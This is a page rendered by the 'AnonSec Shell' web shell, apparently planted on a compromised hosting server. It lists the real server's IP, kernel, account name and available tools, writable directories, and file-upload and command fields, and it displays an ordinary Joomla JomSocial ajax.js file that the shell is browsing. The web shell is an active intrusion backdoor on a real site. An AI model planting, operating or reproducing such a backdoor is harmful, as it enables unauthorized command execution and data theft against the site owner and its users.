AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/nimes/components/com_community/assets/postbox/js/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/nimes/components/com_community/assets/postbox/js/utils/ajax.js
define('utils/ajax',[
    'sandbox'
],

// definition
// ----------
function( $ ) {

    var defaults = {
        type: 'post',
        data: {},
        dataType: 'json',
        error: $.noop,
        success: $.noop,
        complete: $.noop
    };

    function ajax( options ) {
        options = $.extend({}, defaults, options || {});
        options.url = window.jax_live_site;
        options.data = encodeData( options.fn, options.data );
        return $.ajax( options );
    }

    // encode request data
    function encodeData( fn, data ) {
        var params = {};

        // azrul's ajax parameters
        params.option = 'community';
        params.view = window.joms_page || undefined;
        params.task = 'azrul_ajax';
        params.func = fn;
        params.no_html = 1;
        params[ window.jax_token_var ] = 1;

        // azrul's data format
        $.isArray( data ) || (data = []);
        for ( var i = 0, arg; i < data.length; i++ ) {
            arg = data[ i ];
            $.isString( arg ) && ( arg = arg.replace( /"/g, '&quot;' ) );
            $.isArray( arg ) || ( arg = [ '_d_', arg ] );
            params[ 'arg' + ( i + 2 ) ] = JSON.stringify( arg );
        }

        return params;
    }

    return ajax;

});

Anon7 - 2022
AnonSec Team